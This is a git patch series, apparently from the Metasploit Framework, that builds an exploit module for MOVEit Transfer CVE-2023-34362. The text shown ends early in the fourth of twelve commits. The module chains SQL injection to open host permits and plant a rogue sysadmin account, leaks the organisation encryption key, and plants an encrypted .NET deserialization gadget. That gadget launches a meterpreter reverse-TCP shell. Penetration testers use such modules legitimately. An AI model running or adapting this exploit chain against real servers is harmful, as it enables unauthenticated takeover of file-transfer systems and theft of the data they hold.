From f5f61ca50862df8f683b5e93cfca4cf105643a6f Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 14 Jun 2023 10:04:07 -0500 Subject: [PATCH 01/12] Start of MOVEit port --- .../windows/http/moveit_cve_2023_34362.rb | 133 ++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 modules/exploits/windows/http/moveit_cve_2023_34362.rb diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb new file mode 100644 index 000000000000..1015700000a7 --- /dev/null +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +## +# https://docs.google.com/document/d/11jEIf-zFXVqNzJ7JZW_Kc4YMyF4GkFo8o1LGl6NS01E/edit +# https://github.com/sfewer-r7/CVE-2023-34362 +# https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis +# https://github.com/sfewer-r7/CVE-2023-34362/blob/main/CVE-2023-34362.rb +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + HEADERS => [ + 'X-siLock-AgentBrand', 'X-siLock-AgentVersion', 'X-siLock-CanAcceptCompress', 'X-siLock-CanAcceptLumps', 'X-siLock-CanCheckHash', + 'X-siLock-Challenge', 'X-siLock-CheckVirus', 'X-siLock-ClientType', 'X-siLock-CS2-Allow204', 'X-siLock-CS2-AVDLP', + 'X-siLock-CS2-BlockOnError', 'X-siLock-CS2-ChunkSizeKB', 'X-siLock-CS2-ConnTimeoutSecs', 'X-siLock-CS2-DoPreview', 'X-siLock-CS2-Engine', + 'X-siLock-CS2-Error', 'X-siLock-CS2-ISTag', 'X-siLock-CS2-MaxFileSize', 'X-siLock-CS2-Name', 'X-siLock-CS2-RecvTimeoutSecs', + 'X-siLock-CS2-SendTimeoutSecs', 'X-siLock-CS2-Tries', 'X-siLock-CS2-Type', 'X-siLock-CS2-URL', 'X-siLock-CS-Allow204', + 'X-siLock-CS-AVDLP', 'X-siLock-CS-BlockOnError', 'X-siLock-CS-ChunkSizeKB', 'X-siLock-CS-ConnTimeoutSecs', 'X-siLock-CS-DoPreview', + 'X-siLock-CS-Engine', 'X-siLock-CS-Error', 'X-siLock-CS-ISTag', 'X-siLock-CS-MaxFileSize', 'X-siLock-CS-Name', + 'X-siLock-CS-RecvTimeoutSecs', 'X-siLock-CSRFToken', 'X-siLock-CS-SendTimeoutSecs', 'X-siLock-CS-Tries', 'X-siLock-CS-URL', + 'X-siLock-DLPChecked', 'X-siLock-DLPViolation', 'X-siLock-DownloadToken', 'X-siLock-Duration', 'X-siLock-ErrorCode', + 'X-siLock-ErrorDescription', 'X-siLock-FileID', 'X-siLock-FileIDToDelete', 'X-siLock-FilePath', 'X-siLock-FileSize', + 'X-siLock-FolderID', 'X-siLock-FolderPath', 'X-siLock-FolderType', 'X-siLock-Hash', 'X-siLock-HashOK', + 'X-siLock-InstID', 'X-siLock-IntegrityVerified', 'X-siLock-IPAddress', 'X-siLock-LangCode', 'X-siLock-LoginName', + 'X-siLock-LogRecID', 'X-siLock-MailboxOwner', 'X-siLock-NotificationID', 'X-siLock-OriginalFilename', 'X-siLock-PackageID', + 'X-siLock-PartialFileID', 'X-siLock-PartialFilePath', 'X-siLock-Password', 'X-siLock-RealName', 'X-siLock-RelativePath', + 'X-siLock-ResumeInPlace', 'X-siLock-SessionID', 'X-siLock-SessVar', 'X-siLock-TimeBegun', 'X-siLock-TimeElapsed', + 'X-siLock-TimeEnded', 'X-siLock-Transaction', 'X-siLock-Untrusted', 'X-siLock-UploadComment', 'X-siLock-UserFilename', + 'X-siLock-Username', 'X-siLock-VirusChecked', 'X-siLock-XferFormat', + ] + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GLPI htmLawed php command injection', + 'Description' => %q{ + This exploit takes advantage of a unauthenticated php command injection available + from GLPI versions 10.0.2 and below to execute a command. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362 + 'bwatters-r7' # module + ], + 'References' => [ + ['CVE', '2023-34362' ], + ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'] + ], + 'Platform' => 'win', + 'Arch' => [ARCH_X64, ARCH_CMD], + 'Targets' => [ + [ + 'Windows Fetch', + { + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', + 'RPORT' => 80 + } + } + ], + ], + 'DisclosureDate' => '2023-05-31', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] + } + ) + ) + register_options( + [ + Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']), + Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]), + Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)]) + + ] + ) + end + + def token + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri), + 'connection' => 'keep-alive', + 'accept' => '*/*' + }) + + cookies = res.get_cookies + vprint_status("Cookies: #{cookies}") + # Get the session id from the cookies + if cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ + token = $1 + else + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') + end + + # Get the InstID from the cookies + if cookies =~ /siLockLongTermInstID=([0-9]+);/ + instid = $1 + else + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') + end + end + end + + def sqli_payload(sql_payload) + # Create the initial injection, and create the session object + payload = [ + # The initial injection + "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')", + ].concat(sql_payload) + + # Join our payload, and terminate with a comment character + return payload.join(';') + ';#' + end + + + def create_sysadmin + + end +end From d5a986a4bc6b11843e81b2aef50b02be8e132007 Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 15 Jun 2023 08:34:30 -0500 Subject: [PATCH 02/12] Fix copy/pasta --- modules/exploits/windows/http/moveit_cve_2023_34362.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 1015700000a7..d13a40775881 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -41,10 +41,9 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'GLPI htmLawed php command injection', + 'Name' => 'TBA', 'Description' => %q{ - This exploit takes advantage of a unauthenticated php command injection available - from GLPI versions 10.0.2 and below to execute a command. + TBA }, 'License' => MSF_LICENSE, 'Author' => [ From d63c14dc1755973a43d972bfaf7e4f95a35b1706 Mon Sep 17 00:00:00 2001 From: bwatters Date: Tue, 20 Jun 2023 20:06:57 -0500 Subject: [PATCH 03/12] Ugly, but working --- .../windows/http/moveit_cve_2023_34362.rb | 438 ++++++++++++++++-- 1 file changed, 404 insertions(+), 34 deletions(-) diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index d13a40775881..23a91e67082c 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - ## # https://docs.google.com/document/d/11jEIf-zFXVqNzJ7JZW_Kc4YMyF4GkFo8o1LGl6NS01E/edit # https://github.com/sfewer-r7/CVE-2023-34362 @@ -17,25 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient - HEADERS => [ - 'X-siLock-AgentBrand', 'X-siLock-AgentVersion', 'X-siLock-CanAcceptCompress', 'X-siLock-CanAcceptLumps', 'X-siLock-CanCheckHash', - 'X-siLock-Challenge', 'X-siLock-CheckVirus', 'X-siLock-ClientType', 'X-siLock-CS2-Allow204', 'X-siLock-CS2-AVDLP', - 'X-siLock-CS2-BlockOnError', 'X-siLock-CS2-ChunkSizeKB', 'X-siLock-CS2-ConnTimeoutSecs', 'X-siLock-CS2-DoPreview', 'X-siLock-CS2-Engine', - 'X-siLock-CS2-Error', 'X-siLock-CS2-ISTag', 'X-siLock-CS2-MaxFileSize', 'X-siLock-CS2-Name', 'X-siLock-CS2-RecvTimeoutSecs', - 'X-siLock-CS2-SendTimeoutSecs', 'X-siLock-CS2-Tries', 'X-siLock-CS2-Type', 'X-siLock-CS2-URL', 'X-siLock-CS-Allow204', - 'X-siLock-CS-AVDLP', 'X-siLock-CS-BlockOnError', 'X-siLock-CS-ChunkSizeKB', 'X-siLock-CS-ConnTimeoutSecs', 'X-siLock-CS-DoPreview', - 'X-siLock-CS-Engine', 'X-siLock-CS-Error', 'X-siLock-CS-ISTag', 'X-siLock-CS-MaxFileSize', 'X-siLock-CS-Name', - 'X-siLock-CS-RecvTimeoutSecs', 'X-siLock-CSRFToken', 'X-siLock-CS-SendTimeoutSecs', 'X-siLock-CS-Tries', 'X-siLock-CS-URL', - 'X-siLock-DLPChecked', 'X-siLock-DLPViolation', 'X-siLock-DownloadToken', 'X-siLock-Duration', 'X-siLock-ErrorCode', - 'X-siLock-ErrorDescription', 'X-siLock-FileID', 'X-siLock-FileIDToDelete', 'X-siLock-FilePath', 'X-siLock-FileSize', - 'X-siLock-FolderID', 'X-siLock-FolderPath', 'X-siLock-FolderType', 'X-siLock-Hash', 'X-siLock-HashOK', - 'X-siLock-InstID', 'X-siLock-IntegrityVerified', 'X-siLock-IPAddress', 'X-siLock-LangCode', 'X-siLock-LoginName', - 'X-siLock-LogRecID', 'X-siLock-MailboxOwner', 'X-siLock-NotificationID', 'X-siLock-OriginalFilename', 'X-siLock-PackageID', - 'X-siLock-PartialFileID', 'X-siLock-PartialFilePath', 'X-siLock-Password', 'X-siLock-RealName', 'X-siLock-RelativePath', - 'X-siLock-ResumeInPlace', 'X-siLock-SessionID', 'X-siLock-SessVar', 'X-siLock-TimeBegun', 'X-siLock-TimeElapsed', - 'X-siLock-TimeEnded', 'X-siLock-Transaction', 'X-siLock-Untrusted', 'X-siLock-UploadComment', 'X-siLock-UserFilename', - 'X-siLock-Username', 'X-siLock-VirusChecked', 'X-siLock-XferFormat', - ] + HEADERS = %w[X-siLock-AgentBrand X-siLock-AgentVersion X-siLock-CanAcceptCompress X-siLock-CanAcceptLumps X-siLock-CanCheckHash X-siLock-Challenge X-siLock-CheckVirus X-siLock-ClientType X-siLock-CS2-Allow204 X-siLock-CS2-AVDLP X-siLock-CS2-BlockOnError X-siLock-CS2-ChunkSizeKB X-siLock-CS2-ConnTimeoutSecs X-siLock-CS2-DoPreview X-siLock-CS2-Engine X-siLock-CS2-Error X-siLock-CS2-ISTag X-siLock-CS2-MaxFileSize X-siLock-CS2-Name X-siLock-CS2-RecvTimeoutSecs X-siLock-CS2-SendTimeoutSecs X-siLock-CS2-Tries X-siLock-CS2-Type X-siLock-CS2-URL X-siLock-CS-Allow204 X-siLock-CS-AVDLP X-siLock-CS-BlockOnError X-siLock-CS-ChunkSizeKB X-siLock-CS-ConnTimeoutSecs X-siLock-CS-DoPreview X-siLock-CS-Engine X-siLock-CS-Error X-siLock-CS-ISTag X-siLock-CS-MaxFileSize X-siLock-CS-Name X-siLock-CS-RecvTimeoutSecs X-siLock-CSRFToken X-siLock-CS-SendTimeoutSecs X-siLock-CS-Tries X-siLock-CS-URL X-siLock-DLPChecked X-siLock-DLPViolation X-siLock-DownloadToken X-siLock-Duration X-siLock-ErrorCode X-siLock-ErrorDescription X-siLock-FileID X-siLock-FileIDToDelete X-siLock-FilePath X-siLock-FileSize X-siLock-FolderID X-siLock-FolderPath X-siLock-FolderType X-siLock-Hash X-siLock-HashOK X-siLock-InstID X-siLock-IntegrityVerified X-siLock-IPAddress X-siLock-LangCode X-siLock-LoginName X-siLock-LogRecID X-siLock-MailboxOwner X-siLock-NotificationID X-siLock-OriginalFilename X-siLock-PackageID X-siLock-PartialFileID X-siLock-PartialFilePath X-siLock-Password X-siLock-RealName X-siLock-RelativePath X-siLock-ResumeInPlace X-siLock-SessionID X-siLock-SessVar X-siLock-TimeBegun X-siLock-TimeElapsed X-siLock-TimeEnded X-siLock-Transaction X-siLock-Untrusted X-siLock-UploadComment X-siLock-UserFilename X-siLock-Username X-siLock-VirusChecked X-siLock-XferFormat].freeze def initialize(info = {}) super( @@ -63,7 +44,8 @@ def initialize(info = {}) 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', - 'RPORT' => 80 + 'RPORT' => 443, + 'SSL' => true } } ], @@ -81,37 +63,47 @@ def initialize(info = {}) [ Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']), Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]), + Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]), Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)]) ] ) + @moveit_token = nil + @moveit_instid = nil + @cookies = nil + @guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com" + @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15) + @uploadfile_size = rand(5..64) + @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size) end - def token + def populate_token_instid begin res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri), - 'connection' => 'keep-alive', - 'accept' => '*/*' - }) - - cookies = res.get_cookies - vprint_status("Cookies: #{cookies}") + 'method' => 'GET', + 'connection' => 'keep-alive', + 'accept' => '*/*' + }) + + @cookies = res.get_cookies + vprint_status("Cookies: #{@cookies}") # Get the session id from the cookies - if cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ - token = $1 + if @cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ + @moveit_token = ::Regexp.last_match(1) + vprint_status("@moveit_token = #{@moveit_token}") else fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') end # Get the InstID from the cookies - if cookies =~ /siLockLongTermInstID=([0-9]+);/ - instid = $1 + if @cookies =~ /siLockLongTermInstID=([0-9]+);/ + @moveit_instid = ::Regexp.last_match(1) + vprint_status("@moveit_instid = #{@moveit_instid}") else fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') end end + return true end def sqli_payload(sql_payload) @@ -125,8 +117,386 @@ def sqli_payload(sql_payload) return payload.join(';') + ';#' end + # Perform a request to the ISAPI endpoint with an arbitrary transaction + def isapi_request(cookies, transaction, headers) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'), + 'connection' => 'close', + 'accept' => '*/*', + 'cookie' => cookies, + 'headers' => { + 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path', + 'X-siLock-Transaction': transaction + }.merge(headers) + }) + end + + def set_session(token, session_hash) + session_vars = {} + session_index = 0 + session_hash.each_pair do |k, v| + vprint_status("Setting #{k} => #{v}") + session_vars.store("X-siLock-SessVar#{session_index}", "#{k}: #{v}") + session_index += 1 + end + isapi_request(token, 'session_setvars', session_vars) + end + + def get_csrf_token(res) + if res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/ + return ::Regexp.last_match(1) + else + vprint_status("CSRF Token = #{r}") + fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') + end + end + + def guestaccess_request(cookies, body) + vprint_status('guestaccess_request') + vprint_status(cookies.to_s) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('guestaccess.aspx'), + 'connection' => 'close', + 'accept' => '*/*', + 'cookie' => @cookies, + 'vars_post' => body + }) + res + end + + def sqli(cookies, sql_payload) + vprint_status('sqli') + # Set up a fake package in the session. The order here is important. We set these session + # variables one per request, so first set the package information, then switch over to a + # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this + # order the session will be cleared and the injection will not work. + set_session(cookies, { + 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 + 'MyPkgID' => '0', # Is self provisioned? (must be 0) + 'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs + 'MyPkgInstID' => '1234', # this can be any int value + 'MyPkgSelfProvisionedRecips' => sql_payload, + 'MyUsername' => 'Guest' + }) + + # Get a CSRF token - this has to be *after* you set MyUsername, since the + # username is incorporated into it + # + # Transaction => request type, different types will work + # Arg06 => the package access code (must match what's set above) + # Arg12 => promptaccesscode requests a form, which contains a CSRF code + + vprint_status('Getting CSRF token from guestaccess.aspx...') + body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' } + csrf = get_csrf_token(guestaccess_request(cookies, body)) + vprint_status("CSRF token = #{csrf}") + + # This does the actual injection + vprint_status('Triggering the payload via guestaccess.aspx...') + body = { + 'Arg06' => 'accesscode', + 'transaction' => 'secmsgpost', + 'Arg01' => 'subject', + 'Arg04' => 'body', + 'Arg05' => 'sendauto', + 'Arg09' => 'pkgtest9', + 'csrftoken' => csrf + } + guestaccess_request(cookies, body) + end + + def makev1password(password, salt = 'AAAA') + raise 'password cannot be empty' if password.empty? + + raise 'salt must be 4 bytes' if salt.length != 4 + + # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret + pwpre = Base64.decode64('=VT2jkEH3vAs=') + + pwpost = Base64.decode64('=0maaSIA5oy0=') + + md5 = Digest::MD5.new + md5.update(pwpre) + md5.update(salt) + md5.update(password) + md5.update(pwpost) + + pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC') + pw << salt + pw << md5.digest + + return Base64.strict_encode64(pw).gsub('+', '-') + end + + def request_api_token + vprint_status('request_api_token') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/api/v1/token'), + 'Content-Type' => 'application/x-www-form-urlencoded', + 'connection' => 'keep-alive', + 'accept' => '*/*', + 'vars_post' => { + 'grant_type' => 'password', + 'username' => datastore['LOGIN_NAME'], + 'password' => datastore['PASSWORD'] + } + }) + + if res.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") + end + + token_json = JSON.parse(res.body) + + vprint_status("Got API access token='#{token_json['access_token']}'.") + token_json + end + + def find_folder_id(token_json) + folders_response = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/api/v1/folders'), + 'connection' => 'close', + 'accept' => '*/*', + 'headers' => { + 'Authorization' => "Bearer #{token_json['access_token']}" + } + }) + if folders_response.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") + end + + folders_json = JSON.parse(folders_response.body) + + vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") + + folders_json + end def create_sysadmin + vprint_status('create_sysadmin') + hax_username = datastore['USERNAME'] + hax_password = datastore['PASSWORD'] + hax_loginname = datastore['LOGIN_NAME'] + createuser_payload = [ + + "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'", + + "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", + + "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", + "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'", + + "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'", + + "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", + + "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", + ] + res = sqli(@cookies, sqli_payload(createuser_payload)) + + if res.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") + end + end + + def begin_file_upload(folders_json, token_json) + boundary = rand_text_numeric(27) + data = "--#{boundary}\r\n" + data << 'Content-Disposition: form-data;' + data << "name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n" + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"), + 'headers' => { + 'Content-Type' => 'multipart/form-data; boundary=' + boundary, + 'Authorization' => "Bearer #{token_json['access_token']}" + }, + 'connection' => 'close', + 'accept' => '*/*', + 'data' => data + }) + + if res.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") + end + + files_json = JSON.parse(res.body) + + vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") + + files_json + end + + def leak_encryption_key(token_json, files_json) + haxleak_payload = [ + # The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234) + "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'" + ] + + sqli(@cookies, sqli_payload(haxleak_payload)) + + leak_response = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"), + 'connection' => 'close', + 'accept' => '*/*', + 'headers' => { + 'Authorization' => "Bearer #{token_json['access_token']}" + } + }) + + if leak_response.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") + end + + leak_json = JSON.parse(leak_response.body) + + org_key = leak_json['uploadAgentBrand'] + + vprint_status("Leaked the Org Key: #{org_key}") + + org_key + end + + def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!') + raise 'org_key must be 16 bytyes' if org_key.length != 16 + + if iv.nil? + iv = Rex::Text.rand_text_alphanumeric(4) + # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence. + iv *= 4 + end + + # MOVEit.DMZ.Core.Cryptography.Encryption + key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*') + key += org_key + key += [0, 0, 0, 0].pack('C*') + + # MOVEit.Crypto.AesMOVEitCryptoTransform + cipher = OpenSSL::Cipher.new('AES-256-CBC') + + cipher.encrypt + cipher.key = key + cipher.iv = iv + encrypted_data = cipher.update(data) + cipher.final + data_sha1_hash = Digest::SHA1.digest(data).unpack('C*') + org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*') + + # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader + header = [ + 225, # MOVEitV2EncryptedStringHeader + 0, + data_sha1_hash[0], + data_sha1_hash[1], + org_key_sha1_hash[0], + org_key_sha1_hash[1], + org_key_sha1_hash[2], + org_key_sha1_hash[3], + iv.unpack('C*')[0], + iv.unpack('C*')[1], + iv.unpack('C*')[2], + iv.unpack('C*')[3], + ].pack('C*') + + # MOVEit.DMZ.Core.Cryptography.Encryption + return tag + Base64.strict_encode64(header + encrypted_data) + end + + def encrypt_deserialization_gadget(gadget, org_key) + org_key.gsub!(' ', '') + org_key = [org_key].pack('H*').bytes.to_a.pack('C*') + deserialization_gadget = moveitv2encrypt(gadget, org_key) + vprint_status(deserialization_gadget) + deserialization_gadget + end + + def upload_encrypted_gadget(encrypted_gadget, files_json) + haxupload_payload = [ + "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'", + ] + vprint_status('Planting encrypted gadget into the DB...') + sqli(@cookies, sqli_payload(haxupload_payload)) + end + + def trigger_deserialization(token_json, files_json, folders_json) + print_status('Triggering gadget deserialization...') + files_response = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"), + 'connection' => 'close', + 'accept' => '*/*', + 'verify' => false, + 'headers' => { + 'Authorization' => "Bearer #{token_json['access_token']}", + 'Content-Type' => 'application/octet-stream', + 'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}", + 'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data) + }, + 'data' => @uploadfile_data[0, @uploadfile_data.length] + }) + + # 500 if payload runs :) + if files_response.code != 500 + raise "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})" + end + + vprint_status('Gadget deserialized, RCE Achieved!') + + vprint_status(files_response.body) + end + + def execute_command(cmd, _opts = {}) + gadget = ::Msf::Util::DotNetDeserialization.generate( + cmd, + gadget_chain: :TextFormattingRunProperties, + formatter: :BinaryFormatter + ) + # gadget = powershell_escape(gadget) + vprint_status(payload.encoded) + vprint_status(gadget) + b64_gadget = Rex::Text.encode_base64(gadget) + vprint_status('Encrypting b64 gadget') + encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) + upload_encrypted_gadget(encrypted_gadget, files_json) + vprint_status("uploading fileid #{files_json['fileId']} to folderid #{folders_json['items'][0]['id']}") + trigger_deserialization(token_json, files_json, folders_json) + end + + def exploit + # Get the sessionID and siLockLongTermInstID + vprint_status('Calling populate_token_instid') + populate_token_instid + # Allow Remote Access and Create new sysAd + vprint_status('Creating Sysadmin') + create_sysadmin + vprint_status('Getting request_api_token') + token_json = request_api_token + vprint_status('Getting folder_id') + folders_json = find_folder_id(token_json) + vprint_status('Starting file upload') + files_json = begin_file_upload(folders_json, token_json) + vprint_status('Leaking encryption key') + org_key = leak_encryption_key(token_json, files_json) + # gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=" + gadget = ::Msf::Util::DotNetDeserialization.generate( + payload.encoded, + gadget_chain: :TextFormattingRunProperties, + formatter: :BinaryFormatter + ) + vprint_status(gadget) + b64_gadget = Rex::Text.encode_base64(gadget) + vprint_status('Encrypting b64 gadget') + encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) + upload_encrypted_gadget(encrypted_gadget, files_json) + # vprint_status("uploading fileid #{files_json["fileId']} to folderid #{folders_json['items'][0]['id']}") + trigger_deserialization(token_json, files_json, folders_json) end end From 957339b3c009d79f577c9ab34090be09535b27de Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 21 Jun 2023 08:34:02 -0500 Subject: [PATCH 04/12] Simplify output --- .../windows/http/moveit_cve_2023_34362.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff 